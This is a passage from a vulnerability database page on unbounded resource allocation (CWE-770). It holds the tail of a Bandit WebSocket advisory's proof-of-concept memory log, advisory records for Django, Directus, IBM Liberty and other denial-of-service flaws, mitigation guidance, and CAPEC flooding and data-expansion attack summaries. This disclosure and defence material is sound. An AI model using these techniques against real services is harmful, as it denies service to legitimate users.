accumulated).\n[11:04:33.751] Sent 1664/4096 continuations (~1664 MiB accumulated).\n[11:04:33.826] [mem] BEAM total = 1758 MiB\n[11:04:33.860] Sent 1728/4096 continuations (~1728 MiB accumulated).\n[11:04:33.972] Sent 1792/4096 continuations (~1792 MiB accumulated).\n[11:04:34.077] [mem] BEAM total = 1901 MiB\n[11:04:34.083] Sent 1856/4096 continuations (~1856 MiB accumulated).\n[11:04:34.192] Sent 1920/4096 continuations (~1920 MiB accumulated).\n[11:04:34.305] Sent 1984/4096 continuations (~1984 MiB accumulated).\n[11:04:34.328] [mem] BEAM total = 2048 MiB\n[11:04:34.417] Sent 2048/4096 continuations (~2048 MiB accumulated).\n[11:04:34.528] Sent 2112/4096 continuations (~2112 MiB accumulated).\n[11:04:34.579] [mem] BEAM total = 2191 MiB\n[11:04:34.644] Sent 2176/4096 continuations (~2176 MiB accumulated).\n[11:04:34.751] Sent 2240/4096 continuations (~2240 MiB accumulated).\n[11:04:34.830] [mem] BEAM total = 2342 MiB\n[11:04:34.863] Sent 2304/4096 continuations (~2304 MiB accumulated).\n[11:04:34.974] Sent 2368/4096 continuations (~2368 MiB accumulated).\n[11:04:35.081] [mem] BEAM total = 2480 MiB\n[11:04:35.088] Sent 2432/4096 continuations (~2432 MiB accumulated).\n[11:04:35.202] Sent 2496/4096 continuations (~2496 MiB accumulated).\n[11:04:35.316] Sent 2560/4096 continuations (~2560 MiB accumulated).\n[11:04:35.332] [mem] BEAM total = 2620 MiB\n[11:04:35.430] Sent 2624/4096 continuations (~2624 MiB accumulated).\n[11:04:35.545] Sent 2688/4096 continuations (~2688 MiB accumulated).\n[11:04:35.583] [mem] BEAM total = 2760 MiB\n[11:04:35.660] Sent 2752/4096 continuations (~2752 MiB accumulated).\n[11:04:35.776] Sent 2816/4096 continuations (~2816 MiB accumulated).\n[11:04:35.834] [mem] BEAM total = 2903 MiB\n[11:04:35.890] Sent 2880/4096 continuations (~2880 MiB accumulated).\n[11:04:36.000] Sent 2944/4096 continuations (~2944 MiB accumulated).\n[11:04:36.085] [mem] BEAM total = 3045 MiB\n[11:04:36.110] Sent 3008/4096 continuations (~3008 MiB accumulated).\n[11:04:36.225] Sent 3072/4096 continuations (~3072 MiB accumulated).\n[11:04:36.336] [mem] BEAM total = 3184 MiB\n[11:04:36.343] Sent 3136/4096 continuations (~3136 MiB accumulated).\n[11:04:36.462] Sent 3200/4096 continuations (~3200 MiB accumulated).\n[11:04:36.580] Sent 3264/4096 continuations (~3264 MiB accumulated).\n[11:04:36.587] [mem] BEAM total = 3332 MiB\n[11:04:36.691] Sent 3328/4096 continuations (~3328 MiB accumulated).\n[11:04:36.806] Sent 3392/4096 continuations (~3392 MiB accumulated).\n[11:04:36.838] [mem] BEAM total = 3463 MiB\n[11:04:36.927] Sent 3456/4096 continuations (~3456 MiB accumulated).\n[11:04:37.041] Sent 3520/4096 continuations (~3520 MiB accumulated).\n[11:04:37.089] [mem] BEAM total = 3610 MiB\n[11:04:37.157] Sent 3584/4096 continuations (~3584 MiB accumulated).\n[11:04:37.273] Sent 3648/4096 continuations (~3648 MiB accumulated).\n[11:04:37.340] [mem] BEAM total = 3735 MiB\n[11:04:37.389] Sent 3712/4096 continuations (~3712 MiB accumulated).\n[11:04:37.504] Sent 3776/4096 continuations (~3776 MiB accumulated).\n[11:04:37.591] [mem] BEAM total = 3878 MiB\n[11:04:37.629] Sent 3840/4096 continuations (~3840 MiB accumulated).\n[11:04:37.745] Sent 3904/4096 continuations (~3904 MiB accumulated).\n[11:04:37.842] [mem] BEAM total = 4012 MiB\n[11:04:37.862] Sent 3968/4096 continuations (~3968 MiB accumulated).\n[11:04:37.982] Sent 4032/4096 continuations (~4032 MiB accumulated).\n[11:04:38.093] [mem] BEAM total = 4142 MiB\n[11:04:38.105] Sent 4096/4096 continuations (~4096 MiB accumulated).\n[11:04:38.105] Finished sending. Never sent fin=1 \u2014 server should still be holding the iolist.\n[11:04:38.344] [mem] BEAM total = 4149 MiB\n[11:04:38.596] [mem] BEAM total = 4149 MiB\n[11:04:38.847] [mem] BEAM total = 4149 MiB\n[11:04:39.098] [mem] BEAM total = 4149 MiB\n[11:04:39.349] [mem] BEAM total = 4149 MiB\n[11:04:39.600] [mem] BEAM total = 4149 MiB\n[11:04:39.851] [mem] BEAM total = 4149 MiB\n[11:04:40.102] [mem] BEAM total = 4149 MiB\n[11:04:40.106] Done.\n```",
"id": "GHSA-pf94-94m9-536p",
"modified": "2026-05-07T03:43:45Z",
"published": "2026-05-07T03:43:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-pf94-94m9-536p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42786"
},
{
"type": "WEB",
"url": "https://github.com/mtrudel/bandit/commit/21612c7c7b1ce43eccd36d3af3a2299d23513667"
},
{
"type": "WEB",
"url": "https://cna.erlef.org/cves/CVE-2026-42786.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/mtrudel/bandit"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-42786"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Bandit Buffers Unbounded WebSocket Continuation Frames, Allowing Unauthenticated Memory Exhaustion"
}
GHSA-PG3Q-6WMP-WHPX
Vulnerability from github – Published: 2023-06-06 06:30 – Updated: 2024-04-04 04:33In dialer service, there is a possible missing permission check. This could lead to local denial of service with no additional execution privileges.
{
"affected": [],
"aliases": [
"CVE-2022-48441"
],
"database_specific": {
"cwe_ids": [
"CWE-770",
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-06T06:15:50Z",
"severity": "MODERATE"
},
"details": "In dialer service, there is a possible missing permission check. This could lead to local denial of service with no additional execution privileges.",
"id": "GHSA-pg3q-6wmp-whpx",
"modified": "2024-04-04T04:33:01Z",
"published": "2023-06-06T06:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48441"
},
{
"type": "WEB",
"url": "https://www.unisoc.com/en_us/secy/announcementDetail/1664822361414762498"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PGJ4-857C-6P22
Vulnerability from github – Published: 2025-11-07 18:30 – Updated: 2025-11-14 21:30An allocation of resources without limits or throttling vulnerability has been reported to affect File Station 5. If a remote attacker gains a user account, they can then exploit the vulnerability to prevent other systems, applications, or processes from accessing the same type of resource.
We have already fixed the vulnerability in the following version: File Station 5 5.5.6.5018 and later
{
"affected": [],
"aliases": [
"CVE-2025-53410"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-07T16:15:39Z",
"severity": "MODERATE"
},
"details": "An allocation of resources without limits or throttling vulnerability has been reported to affect File Station 5. If a remote attacker gains a user account, they can then exploit the vulnerability to prevent other systems, applications, or processes from accessing the same type of resource.\n\nWe have already fixed the vulnerability in the following version:\nFile Station 5 5.5.6.5018 and later",
"id": "GHSA-pgj4-857c-6p22",
"modified": "2025-11-14T21:30:28Z",
"published": "2025-11-07T18:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53410"
},
{
"type": "WEB",
"url": "https://www.qnap.com/en/security-advisory/qsa-25-38"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PGRH-7H8H-7MQG
Vulnerability from github – Published: 2025-08-14 18:31 – Updated: 2025-11-03 21:34IBM WebSphere Application Server Liberty 18.0.0.2 through 25.0.0.8 is vulnerable to a denial of service, caused by sending a specially-crafted request. A remote attacker could exploit this vulnerability to cause the server to consume memory resources.
{
"affected": [],
"aliases": [
"CVE-2025-36047"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-14T16:15:32Z",
"severity": "MODERATE"
},
"details": "IBM WebSphere Application Server Liberty 18.0.0.2 through 25.0.0.8 is vulnerable to a denial of service, caused by sending a specially-crafted request. A remote attacker could exploit this vulnerability to cause the server to consume memory resources.",
"id": "GHSA-pgrh-7h8h-7mqg",
"modified": "2025-11-03T21:34:22Z",
"published": "2025-08-14T18:31:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-36047"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7242086"
},
{
"type": "WEB",
"url": "https://www.kb.cert.org/vuls/id/767506"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-PGXH-WFW4-JX2V
Vulnerability from github – Published: 2022-05-17 00:36 – Updated: 2024-09-17 15:08contrib.sessions.middleware.SessionMiddleware in Django 1.8.x before 1.8.4, 1.7.x before 1.7.10, 1.4.x before 1.4.22, and possibly other versions allows remote attackers to cause a denial of service (session store consumption or session record removal) via a large number of requests to contrib.auth.views.logout, which triggers the creation of an empty session record.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Django"
},
"ranges": [
{
"events": [
{
"introduced": "1.8"
},
{
"fixed": "1.8.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "Django"
},
"ranges": [
{
"events": [
{
"introduced": "1.7"
},
{
"fixed": "1.7.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "Django"
},
"ranges": [
{
"events": [
{
"introduced": "1.4"
},
{
"fixed": "1.4.22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2015-5963"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-03T20:01:52Z",
"nvd_published_at": "2015-08-24T14:59:00Z",
"severity": "MODERATE"
},
"details": "`contrib.sessions.middleware.SessionMiddleware` in Django 1.8.x before 1.8.4, 1.7.x before 1.7.10, 1.4.x before 1.4.22, and possibly other versions allows remote attackers to cause a denial of service (session store consumption or session record removal) via a large number of requests to `contrib.auth.views.logout`, which triggers the creation of an empty session record.",
"id": "GHSA-pgxh-wfw4-jx2v",
"modified": "2024-09-17T15:08:38Z",
"published": "2022-05-17T00:36:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-5963"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/2eb86b01d7b59be06076f6179a454d0fd0afaff6"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/2f5485346ee6f84b4e52068c04e043092daf55f7"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/575f59f9bc7c59a5e41a081d1f5f55fc859c5012"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/8cc41ce7a7a8f6bebfdd89d5ab276cd0109f4fc5"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2015:1876"
},
{
"type": "PACKAGE",
"url": "https://github.com/django/django"
},
{
"type": "WEB",
"url": "https://github.com/django/django/blob/4555a823fd57e261e1b19c778429473256c8ea08/docs/releases/1.8.4.txt#L9-L21"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/django/PYSEC-2015-22.yaml"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20150904151934/http://www.securitytracker.com/id/1033318"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20200228050526/http://www.securityfocus.com/bid/76428"
},
{
"type": "WEB",
"url": "https://www.djangoproject.com/weblog/2015/aug/18/security-releases"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2015-November/172084.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-updates/2015-09/msg00026.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-updates/2015-09/msg00035.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2015-1766.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2015-1767.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2015-1894.html"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2015/dsa-3338"
},
{
"type": "WEB",
"url": "http://www.oracle.com/technetwork/topics/security/bulletinoct2015-2511968.html"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-2720-1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "Django denial of service via empty session record creation"
}
GHSA-PH52-67FQ-75WJ
Vulnerability from github – Published: 2026-04-04 06:12 – Updated: 2026-04-07 14:20Summary
Directus' GraphQL endpoints (/graphql and /graphql/system) did not deduplicate resolver invocations within a single request. An authenticated user could exploit GraphQL aliasing to repeat an expensive relational query many times in a single request, forcing the server to execute a large number of independent complex database queries concurrently, multiplying database load linearly with the number of aliases. The existing token limit on GraphQL queries still permitted enough aliases for significant resource exhaustion, while the relational depth limit applied per alias without reducing the total number executed. Rate limiting is disabled by default, meaning no built-in throttle prevented this from causing CPU, memory, and I/O exhaustion that could degrade or crash the service. Any authenticated user, including those with minimal read-only permissions, could trigger this condition.
Fix
A request-scoped resolver deduplication mechanism was introduced and applied broadly across all GraphQL read resolvers, both system and items endpoints. When multiple aliases in a single request invoke the same resolver with identical arguments, only the first call executes; all subsequent aliases share its result. This eliminates the amplification factor regardless of how many aliases a query contains.
Impact
- Service degradation or outage: Concurrent complex database queries exhaust the connection pool and server resources, affecting all users
- Low privilege required: Any authenticated user, including those with read-only access to a single collection, can trigger this condition
- Linear scaling: Impact scales with the number of aliases and depth of relational queries
- Compounded by concurrency: Multiple simultaneous requests multiply the effect further
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "directus"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.17.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35441"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-04T06:12:52Z",
"nvd_published_at": "2026-04-06T22:16:22Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nDirectus\u0027 GraphQL endpoints (`/graphql` and `/graphql/system`) did not deduplicate resolver invocations within a single request. An authenticated user could exploit GraphQL aliasing to repeat an expensive relational query many times in a single request, forcing the server to execute a large number of independent complex database queries concurrently, multiplying database load linearly with the number of aliases. The existing token limit on GraphQL queries still permitted enough aliases for significant resource exhaustion, while the relational depth limit applied per alias without reducing the total number executed. Rate limiting is disabled by default, meaning no built-in throttle prevented this from causing CPU, memory, and I/O exhaustion that could degrade or crash the service. Any authenticated user, including those with minimal read-only permissions, could trigger this condition.\n\n### Fix\n\nA request-scoped resolver deduplication mechanism was introduced and applied broadly across all GraphQL read resolvers, both system and items endpoints. When multiple aliases in a single request invoke the same resolver with identical arguments, only the first call executes; all subsequent aliases share its result. This eliminates the amplification factor regardless of how many aliases a query contains.\n\n### Impact\n\n- **Service degradation or outage:** Concurrent complex database queries exhaust the connection pool and server resources, affecting all users\n- **Low privilege required:** Any authenticated user, including those with read-only access to a single collection, can trigger this condition\n- **Linear scaling:** Impact scales with the number of aliases and depth of relational queries\n- **Compounded by concurrency:** Multiple simultaneous requests multiply the effect further",
"id": "GHSA-ph52-67fq-75wj",
"modified": "2026-04-07T14:20:15Z",
"published": "2026-04-04T06:12:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/directus/directus/security/advisories/GHSA-ph52-67fq-75wj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35441"
},
{
"type": "PACKAGE",
"url": "https://github.com/directus/directus"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Directus: GraphQL Alias Amplification Denial of Service Due to Missing Query Cost/Complexity Limits"
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.